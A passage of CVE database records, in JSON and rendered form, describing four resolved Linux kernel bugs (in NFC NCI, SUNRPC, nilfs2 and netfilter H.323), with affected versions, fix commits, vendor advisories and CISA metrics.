          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnfc: nci: Fix uninit-value in nci_dev_up and nci_ntf_packet\n\nsyzbot reported the following uninit-value access issue [1][2]:\n\nnci_rx_work() parses and processes received packet. When the payload\nlength is zero, each message type handler reads uninitialized payload\nand KMSAN detects this issue. The receipt of a packet with a zero-size\npayload is considered unexpected, and therefore, such packets should be\nsilently discarded.\n\nThis patch resolved this issue by checking payload size before calling\neach message type handler codes."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:13:42.171Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/11387b2effbb55f58dc2111ef4b4b896f2756240"
        },
        {
          "url": "https://git.kernel.org/stable/c/03fe259649a551d336a7f20919b641ea100e3fff"
        },
        {
          "url": "https://git.kernel.org/stable/c/755e53bbc61bc1aff90eafa64c8c2464fd3dfa3c"
        },
        {
          "url": "https://git.kernel.org/stable/c/ac68d9fa09e410fa3ed20fb721d56aa558695e16"
        },
        {
          "url": "https://git.kernel.org/stable/c/b51ec7fc9f877ef869c01d3ea6f18f6a64e831a7"
        },
        {
          "url": "https://git.kernel.org/stable/c/a946ebee45b09294c8b0b0e77410b763c4d2817a"
        },
        {
          "url": "https://git.kernel.org/stable/c/8948e30de81faee87eeee01ef42a1f6008f5a83a"
        },
        {
          "url": "https://git.kernel.org/stable/c/d24b03535e5eb82e025219c2f632b485409c898f"
        }
      ],
      "title": "nfc: nci: Fix uninit-value in nci_dev_up and nci_ntf_packet",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-35915",
    "datePublished": "2024-05-19T08:35:08.239Z",
    "dateReserved": "2024-05-17T13:50:33.122Z",
    "dateUpdated": "2026-05-12T11:52:46.691Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-36288 (GCVE-0-2024-36288)

Vulnerability from cvelistv5 – Published: 2024-06-21 11:18 – Updated: 2026-05-12 11:53

Title

SUNRPC: Fix loop termination condition in gss_free_in_token_pages()

Summary

In the Linux kernel, the following vulnerability has been resolved: SUNRPC: Fix loop termination condition in gss_free_in_token_pages() The in_token->pages[] array is not NULL terminated. This results in the following KASAN splat: KASAN: maybe wild-memory-access in range [0x04a2013400000008-0x04a201340000000f]

Severity ?

No CVSS data available.

Assigner

Linux

References

7 references

URL	Tags
https://git.kernel.org/stable/c/57ff6c0a175930856…
https://git.kernel.org/stable/c/6ed45d20d30005bed…
https://git.kernel.org/stable/c/4cefcd0af7458bdef…
https://git.kernel.org/stable/c/b4878ea99f2b40ef1…
https://git.kernel.org/stable/c/af628d43a822b78ad…
https://git.kernel.org/stable/c/0a1cb0c6102bb4fd3…
https://git.kernel.org/stable/c/4a77c3dead9733947…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: ab8466d4e26806a4ae82c282762c4545eecf45ef , < 57ff6c0a175930856213b2aa39f8c845a53e5b1c (git) Affected: 4420b73c7f26fd5fcb37bbce5313dd356ef1b3ca , < 6ed45d20d30005bed94c8c527ce51d5ad8121018 (git) Affected: f148a95f68c66c1b097391b68e153d5a46f0e780 , < 4cefcd0af7458bdeff56a9d8dfc6868ce23d128a (git) Affected: fe0b474974fee7af1df286e0edd5a1460c811865 , < b4878ea99f2b40ef1925720b1b4ca7f4af1ba785 (git) Affected: c1d8c429e4d2ce85ec5c92cf71cb419baf75c56f , < af628d43a822b78ad8d4a58d8259f8bf8bc71115 (git) Affected: 8ca148915670a2921afcc255af9e1dc80f37b052 , < 0a1cb0c6102bb4fd310243588d39461da49497ad (git) Affected: bafa6b4d95d97877baa61883ff90f7e374427fae , < 4a77c3dead97339478c7422eb07bf4bf63577008 (git) Affected: a3c1afd5d7ad59e34a275d80c428952f83c8c1f0 (git)
Linux	Linux	Affected: 6.9.3 , < 6.9.4 (semver)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-36288",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-06-21T13:05:00.955390Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-06-21T13:05:08.602Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-04T17:21:10.146Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/57ff6c0a175930856213b2aa39f8c845a53e5b1c"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/6ed45d20d30005bed94c8c527ce51d5ad8121018"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/4cefcd0af7458bdeff56a9d8dfc6868ce23d128a"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/b4878ea99f2b40ef1925720b1b4ca7f4af1ba785"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/f9977e4e0cd98a5f06f2492b4f3547db58deabf5"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/af628d43a822b78ad8d4a58d8259f8bf8bc71115"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/0a1cb0c6102bb4fd310243588d39461da49497ad"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/4a77c3dead97339478c7422eb07bf4bf63577008"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00020.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:53:48.880Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-613116.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/sunrpc/auth_gss/svcauth_gss.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "57ff6c0a175930856213b2aa39f8c845a53e5b1c",
              "status": "affected",
              "version": "ab8466d4e26806a4ae82c282762c4545eecf45ef",
              "versionType": "git"
            },
            {
              "lessThan": "6ed45d20d30005bed94c8c527ce51d5ad8121018",
              "status": "affected",
              "version": "4420b73c7f26fd5fcb37bbce5313dd356ef1b3ca",
              "versionType": "git"
            },
            {
              "lessThan": "4cefcd0af7458bdeff56a9d8dfc6868ce23d128a",
              "status": "affected",
              "version": "f148a95f68c66c1b097391b68e153d5a46f0e780",
              "versionType": "git"
            },
            {
              "lessThan": "b4878ea99f2b40ef1925720b1b4ca7f4af1ba785",
              "status": "affected",
              "version": "fe0b474974fee7af1df286e0edd5a1460c811865",
              "versionType": "git"
            },
            {
              "lessThan": "af628d43a822b78ad8d4a58d8259f8bf8bc71115",
              "status": "affected",
              "version": "c1d8c429e4d2ce85ec5c92cf71cb419baf75c56f",
              "versionType": "git"
            },
            {
              "lessThan": "0a1cb0c6102bb4fd310243588d39461da49497ad",
              "status": "affected",
              "version": "8ca148915670a2921afcc255af9e1dc80f37b052",
              "versionType": "git"
            },
            {
              "lessThan": "4a77c3dead97339478c7422eb07bf4bf63577008",
              "status": "affected",
              "version": "bafa6b4d95d97877baa61883ff90f7e374427fae",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "a3c1afd5d7ad59e34a275d80c428952f83c8c1f0",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/sunrpc/auth_gss/svcauth_gss.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "6.9.4",
              "status": "affected",
              "version": "6.9.3",
              "versionType": "semver"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9.4",
                  "versionStartIncluding": "6.9.3",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "6.8.12",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nSUNRPC: Fix loop termination condition in gss_free_in_token_pages()\n\nThe in_token-\u003epages[] array is not NULL terminated. This results in\nthe following KASAN splat:\n\n  KASAN: maybe wild-memory-access in range [0x04a2013400000008-0x04a201340000000f]"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:16:07.913Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/57ff6c0a175930856213b2aa39f8c845a53e5b1c"
        },
        {
          "url": "https://git.kernel.org/stable/c/6ed45d20d30005bed94c8c527ce51d5ad8121018"
        },
        {
          "url": "https://git.kernel.org/stable/c/4cefcd0af7458bdeff56a9d8dfc6868ce23d128a"
        },
        {
          "url": "https://git.kernel.org/stable/c/b4878ea99f2b40ef1925720b1b4ca7f4af1ba785"
        },
        {
          "url": "https://git.kernel.org/stable/c/af628d43a822b78ad8d4a58d8259f8bf8bc71115"
        },
        {
          "url": "https://git.kernel.org/stable/c/0a1cb0c6102bb4fd310243588d39461da49497ad"
        },
        {
          "url": "https://git.kernel.org/stable/c/4a77c3dead97339478c7422eb07bf4bf63577008"
        }
      ],
      "title": "SUNRPC: Fix loop termination condition in gss_free_in_token_pages()",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-36288",
    "datePublished": "2024-06-21T11:18:46.152Z",
    "dateReserved": "2024-06-21T11:16:40.621Z",
    "dateUpdated": "2026-05-12T11:53:48.880Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-47699 (GCVE-0-2024-47699)

Vulnerability from cvelistv5 – Published: 2024-10-21 11:53 – Updated: 2026-05-12 11:58

Title

nilfs2: fix potential null-ptr-deref in nilfs_btree_insert()

Summary

In the Linux kernel, the following vulnerability has been resolved: nilfs2: fix potential null-ptr-deref in nilfs_btree_insert() Patch series "nilfs2: fix potential issues with empty b-tree nodes". This series addresses three potential issues with empty b-tree nodes that can occur with corrupted filesystem images, including one recently discovered by syzbot. This patch (of 3): If a b-tree is broken on the device, and the b-tree height is greater than 2 (the level of the root node is greater than 1) even if the number of child nodes of the b-tree root is 0, a NULL pointer dereference occurs in nilfs_btree_prepare_insert(), which is called from nilfs_btree_insert(). This is because, when the number of child nodes of the b-tree root is 0, nilfs_btree_do_lookup() does not set the block buffer head in any of path[x].bp_bh, leaving it as the initial value of NULL, but if the level of the b-tree root node is greater than 1, nilfs_btree_get_nonroot_node(), which accesses the buffer memory of path[x].bp_bh, is called. Fix this issue by adding a check to nilfs_btree_root_broken(), which performs sanity checks when reading the root node from the device, to detect this inconsistency. Thanks to Lizhi Xu for trying to solve the bug and clarifying the cause early on.

Severity ?

No CVSS data available.

Assigner

Linux

References

9 references

URL	Tags
https://git.kernel.org/stable/c/2b78e9df10fb7f4e9…
https://git.kernel.org/stable/c/1d94dbdfbb64cc48d…
https://git.kernel.org/stable/c/24bf40740a3da6b40…
https://git.kernel.org/stable/c/73d23ecf234b7a6d4…
https://git.kernel.org/stable/c/f68523e0f26faade1…
https://git.kernel.org/stable/c/21839b6fbc3c41b3e…
https://git.kernel.org/stable/c/db73500d3f0e558eb…
https://git.kernel.org/stable/c/3644554d308ddf266…
https://git.kernel.org/stable/c/9403001ad65ae4f4c…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 17c76b0104e4a6513983777e1a17e0297a12b0c4 , < 2b78e9df10fb7f4e9d3d7a18417dd72fbbc1dfd0 (git) Affected: 17c76b0104e4a6513983777e1a17e0297a12b0c4 , < 1d94dbdfbb64cc48d10dec65cc3c4fbf2497b343 (git) Affected: 17c76b0104e4a6513983777e1a17e0297a12b0c4 , < 24bf40740a3da6b4056721da34997ae6938f3da1 (git) Affected: 17c76b0104e4a6513983777e1a17e0297a12b0c4 , < 73d23ecf234b7a6d47fb883f2dabe10e3230b31d (git) Affected: 17c76b0104e4a6513983777e1a17e0297a12b0c4 , < f68523e0f26faade18833fbef577a4295d8e2c94 (git) Affected: 17c76b0104e4a6513983777e1a17e0297a12b0c4 , < 21839b6fbc3c41b3e374ecbdb0cabbbb2c53cf34 (git) Affected: 17c76b0104e4a6513983777e1a17e0297a12b0c4 , < db73500d3f0e558eb642aae1d4782e7726b4a03f (git) Affected: 17c76b0104e4a6513983777e1a17e0297a12b0c4 , < 3644554d308ddf2669e459a1551a7edf60b2d62b (git) Affected: 17c76b0104e4a6513983777e1a17e0297a12b0c4 , < 9403001ad65ae4f4c5de368bdda3a0636b51d51a (git)
Linux	Linux	Affected: 2.6.30 Unaffected: 0 , < 2.6.30 (semver) Unaffected: 4.19.323 , ≤ 4.19.* (semver) Unaffected: 5.4.285 , ≤ 5.4.* (semver) Unaffected: 5.10.227 , ≤ 5.10.* (semver) Unaffected: 5.15.168 , ≤ 5.15.* (semver) Unaffected: 6.1.113 , ≤ 6.1.* (semver) Unaffected: 6.6.54 , ≤ 6.6.* (semver) Unaffected: 6.10.13 , ≤ 6.10.* (semver) Unaffected: 6.11.2 , ≤ 6.11.* (semver) Unaffected: 6.12 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-47699",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-10-21T13:04:48.707894Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-10-21T13:14:13.842Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T22:21:05.866Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00002.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:58:17.133Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-355557.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "fs/nilfs2/btree.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "2b78e9df10fb7f4e9d3d7a18417dd72fbbc1dfd0",
              "status": "affected",
              "version": "17c76b0104e4a6513983777e1a17e0297a12b0c4",
              "versionType": "git"
            },
            {
              "lessThan": "1d94dbdfbb64cc48d10dec65cc3c4fbf2497b343",
              "status": "affected",
              "version": "17c76b0104e4a6513983777e1a17e0297a12b0c4",
              "versionType": "git"
            },
            {
              "lessThan": "24bf40740a3da6b4056721da34997ae6938f3da1",
              "status": "affected",
              "version": "17c76b0104e4a6513983777e1a17e0297a12b0c4",
              "versionType": "git"
            },
            {
              "lessThan": "73d23ecf234b7a6d47fb883f2dabe10e3230b31d",
              "status": "affected",
              "version": "17c76b0104e4a6513983777e1a17e0297a12b0c4",
              "versionType": "git"
            },
            {
              "lessThan": "f68523e0f26faade18833fbef577a4295d8e2c94",
              "status": "affected",
              "version": "17c76b0104e4a6513983777e1a17e0297a12b0c4",
              "versionType": "git"
            },
            {
              "lessThan": "21839b6fbc3c41b3e374ecbdb0cabbbb2c53cf34",
              "status": "affected",
              "version": "17c76b0104e4a6513983777e1a17e0297a12b0c4",
              "versionType": "git"
            },
            {
              "lessThan": "db73500d3f0e558eb642aae1d4782e7726b4a03f",
              "status": "affected",
              "version": "17c76b0104e4a6513983777e1a17e0297a12b0c4",
              "versionType": "git"
            },
            {
              "lessThan": "3644554d308ddf2669e459a1551a7edf60b2d62b",
              "status": "affected",
              "version": "17c76b0104e4a6513983777e1a17e0297a12b0c4",
              "versionType": "git"
            },
            {
              "lessThan": "9403001ad65ae4f4c5de368bdda3a0636b51d51a",
              "status": "affected",
              "version": "17c76b0104e4a6513983777e1a17e0297a12b0c4",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "fs/nilfs2/btree.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "2.6.30"
            },
            {
              "lessThan": "2.6.30",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.323",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.285",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.227",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.168",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.113",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.54",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.10.*",
              "status": "unaffected",
              "version": "6.10.13",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.11.*",
              "status": "unaffected",
              "version": "6.11.2",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.12",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.323",
                  "versionStartIncluding": "2.6.30",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.285",
                  "versionStartIncluding": "2.6.30",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.227",
                  "versionStartIncluding": "2.6.30",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.168",
                  "versionStartIncluding": "2.6.30",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.113",
                  "versionStartIncluding": "2.6.30",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.54",
                  "versionStartIncluding": "2.6.30",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10.13",
                  "versionStartIncluding": "2.6.30",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.11.2",
                  "versionStartIncluding": "2.6.30",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12",
                  "versionStartIncluding": "2.6.30",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnilfs2: fix potential null-ptr-deref in nilfs_btree_insert()\n\nPatch series \"nilfs2: fix potential issues with empty b-tree nodes\".\n\nThis series addresses three potential issues with empty b-tree nodes that\ncan occur with corrupted filesystem images, including one recently\ndiscovered by syzbot.\n\n\nThis patch (of 3):\n\nIf a b-tree is broken on the device, and the b-tree height is greater than\n2 (the level of the root node is greater than 1) even if the number of\nchild nodes of the b-tree root is 0, a NULL pointer dereference occurs in\nnilfs_btree_prepare_insert(), which is called from nilfs_btree_insert().\n\nThis is because, when the number of child nodes of the b-tree root is 0,\nnilfs_btree_do_lookup() does not set the block buffer head in any of\npath[x].bp_bh, leaving it as the initial value of NULL, but if the level\nof the b-tree root node is greater than 1, nilfs_btree_get_nonroot_node(),\nwhich accesses the buffer memory of path[x].bp_bh, is called.\n\nFix this issue by adding a check to nilfs_btree_root_broken(), which\nperforms sanity checks when reading the root node from the device, to\ndetect this inconsistency.\n\nThanks to Lizhi Xu for trying to solve the bug and clarifying the cause\nearly on."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:39:04.642Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/2b78e9df10fb7f4e9d3d7a18417dd72fbbc1dfd0"
        },
        {
          "url": "https://git.kernel.org/stable/c/1d94dbdfbb64cc48d10dec65cc3c4fbf2497b343"
        },
        {
          "url": "https://git.kernel.org/stable/c/24bf40740a3da6b4056721da34997ae6938f3da1"
        },
        {
          "url": "https://git.kernel.org/stable/c/73d23ecf234b7a6d47fb883f2dabe10e3230b31d"
        },
        {
          "url": "https://git.kernel.org/stable/c/f68523e0f26faade18833fbef577a4295d8e2c94"
        },
        {
          "url": "https://git.kernel.org/stable/c/21839b6fbc3c41b3e374ecbdb0cabbbb2c53cf34"
        },
        {
          "url": "https://git.kernel.org/stable/c/db73500d3f0e558eb642aae1d4782e7726b4a03f"
        },
        {
          "url": "https://git.kernel.org/stable/c/3644554d308ddf2669e459a1551a7edf60b2d62b"
        },
        {
          "url": "https://git.kernel.org/stable/c/9403001ad65ae4f4c5de368bdda3a0636b51d51a"
        }
      ],
      "title": "nilfs2: fix potential null-ptr-deref in nilfs_btree_insert()",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-47699",
    "datePublished": "2024-10-21T11:53:35.962Z",
    "dateReserved": "2024-09-30T16:00:12.944Z",
    "dateUpdated": "2026-05-12T11:58:17.133Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-26851 (GCVE-0-2024-26851)

Vulnerability from cvelistv5 – Published: 2024-04-17 10:17 – Updated: 2026-05-12 11:49

Title

netfilter: nf_conntrack_h323: Add protection for bmp length out of range

Summary

In the Linux kernel, the following vulnerability has been resolved: netfilter: nf_conntrack_h323: Add protection for bmp length out of range UBSAN load reports an exception of BRK#5515 SHIFT_ISSUE:Bitwise shifts that are out of bounds for their data type. vmlinux get_bitmap(b=75) + 712 <net/netfilter/nf_conntrack_h323_asn1.c:0> vmlinux decode_seq(bs=0xFFFFFFD008037000, f=0xFFFFFFD008037018, level=134443100) + 1956 <net/netfilter/nf_conntrack_h323_asn1.c:592> vmlinux decode_choice(base=0xFFFFFFD0080370F0, level=23843636) + 1216 <net/netfilter/nf_conntrack_h323_asn1.c:814> vmlinux decode_seq(f=0xFFFFFFD0080371A8, level=134443500) + 812 <net/netfilter/nf_conntrack_h323_asn1.c:576> vmlinux decode_choice(base=0xFFFFFFD008037280, level=0) + 1216 <net/netfilter/nf_conntrack_h323_asn1.c:814> vmlinux DecodeRasMessage() + 304 <net/netfilter/nf_conntrack_h323_asn1.c:833> vmlinux ras_help() + 684 <net/netfilter/nf_conntrack_h323_main.c:1728> vmlinux nf_confirm() + 188 <net/netfilter/nf_conntrack_proto.c:137> Due to abnormal data in skb->data, the extension bitmap length exceeds 32 when decoding ras message then uses the length to make a shift operation. It will change into negative after several loop. UBSAN load could detect a negative shift as an undefined behaviour and reports exception. So we add the protection to avoid the length exceeding 32. Or else it will return out of range error and stop decoding.

Severity ?

No CVSS data available.

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/98db42191329c679f…
https://git.kernel.org/stable/c/4bafcc43baf7bcf93…
https://git.kernel.org/stable/c/ccd1108b16ab572d9…
https://git.kernel.org/stable/c/b3c0f553820516ad4…
https://git.kernel.org/stable/c/39001e3c42000e7c2…
https://git.kernel.org/stable/c/014a807f1cc9c9d51…
https://git.kernel.org/stable/c/80ee5054435a11c87…
https://git.kernel.org/stable/c/767146637efc528b5…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 5e35941d990123f155b02d5663e51a24f816b6f3 , < 98db42191329c679f4ca52bec0b319689e1ad8cb (git) Affected: 5e35941d990123f155b02d5663e51a24f816b6f3 , < 4bafcc43baf7bcf93566394dbd15726b5b456b7a (git) Affected: 5e35941d990123f155b02d5663e51a24f816b6f3 , < ccd1108b16ab572d9bf635586b0925635dbd6bbc (git) Affected: 5e35941d990123f155b02d5663e51a24f816b6f3 , < b3c0f553820516ad4b62a9390ecd28d6f73a7b13 (git) Affected: 5e35941d990123f155b02d5663e51a24f816b6f3 , < 39001e3c42000e7c2038717af0d33c32319ad591 (git) Affected: 5e35941d990123f155b02d5663e51a24f816b6f3 , < 014a807f1cc9c9d5173c1cd935835553b00d211c (git) Affected: 5e35941d990123f155b02d5663e51a24f816b6f3 , < 80ee5054435a11c87c9a4f30f1ff750080c96416 (git) Affected: 5e35941d990123f155b02d5663e51a24f816b6f3 , < 767146637efc528b5e3d31297df115e85a2fd362 (git)
